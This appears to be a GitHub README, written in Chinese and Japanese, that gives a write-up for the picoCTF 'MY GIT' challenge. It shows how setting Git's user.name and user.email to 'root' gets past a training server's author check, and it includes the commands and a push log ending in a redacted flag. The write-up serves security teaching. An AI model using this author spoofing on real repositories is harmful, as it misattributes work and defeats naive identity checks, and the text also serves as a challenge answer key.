yf2012513-netizen/picoCTF-MyGit
GitHub: yf2012513-netizen/picoCTF-MyGit
picoCTF「MY GIT」挑战的解题报告,通过伪造 Git 用户身份配置来绕过服务端身份验证检查。
Stars: 0 | Forks: 0
cat << 'EOF' > README.md
# picoCTF - MY GIT 解题报告
## 挑战信息
- **分类:** General Skills
- **难度:** Easy
- **分数:** 50 pts
- **描述:** 我搭建了我自己的 Git 服务器,并使用了我自己的规则!
## 解析 (解説)
本挑战测试了对 **Git 身份配置**及 Git 如何追踪作者的理解。
提交更改时,Git 依赖本地配置(`user.name` 和 `user.email`)来归属该工作。由于任何用户都可以轻松修改这些内容,因此它们不能被视为安全的身份验证。通过伪装成预期的 `root` 身份,我们绕过了服务器的基本检查,并在推送文件后成功获取了 flag。
(この問題は、**Gitのユーザー識別設定**とその仕組みの理解を問うものです。
Gitでコミットする際、制作者の情報はローカルの設定(`user.name` と `user.email`)がそのまま使用されます。これらは誰でも自由に変更可能であるため、確実な本人認証にはなりません。問題の指示通りに `root` ユーザーを装う設定を行うことで、サーバー側のチェックを通過し、プッシュ時にフラグを獲得できました。)
## 解题步骤 / 实操指南
### 1. 克隆仓库
```
git clone ssh://git@:/git/challenge.git
```
### 2. 配置 Git 身份
更改本地 Git 配置以匹配所需的 root 用户身份。
```
git config user.name "root"
git config user.email "root@picoctf"
```
### 3. 创建并推送 Flag 文件
```
touch flag.txt
git add flag.txt
git commit -m "Add flag.txt"
git push origin master
```
## 终端执行日志
```
\$ touch flag.txt
\$ git commit -m "Add flag.txt"
On branch master
Your branch is up to date with 'origin/master'.
Untracked files:
(use "git add ..." to include in what will be committed)
flag.txt
nothing added to commit but untracked files present (use "git add" to track)
\$ git add flag.txt
\$ git commit -m "Add flag.txt"
[master e0e3150] Add flag.txt
1 file changed, 0 insertions(+), 0 deletions(-)
create mode 100644 flag.txt
\$ git push origin master
git@foggy-cliff.picoctf.net's password:
Enumerating objects: 4, done.
Counting objects: 100% (4/4), done.
Delta compression using up to 8 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (3/3), 266 bytes | 266.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
remote: Author matched and flag.txt found in commit...
remote: Congratulations! You have successfully impersonated the root user
remote: Here's your flag: picoCTF{REDACTED}
To ssh://foggy-cliff.picoctf.net:54427/git/challenge.git
b4b49f2..e0e3150 master -> master
```
## Flag
`picoCTF{REDACTED}`
EOF
标签:Git, Writeup, 内存分配, 基础技能, 安全可观测性, 应用安全, 版本控制, 网络安全研究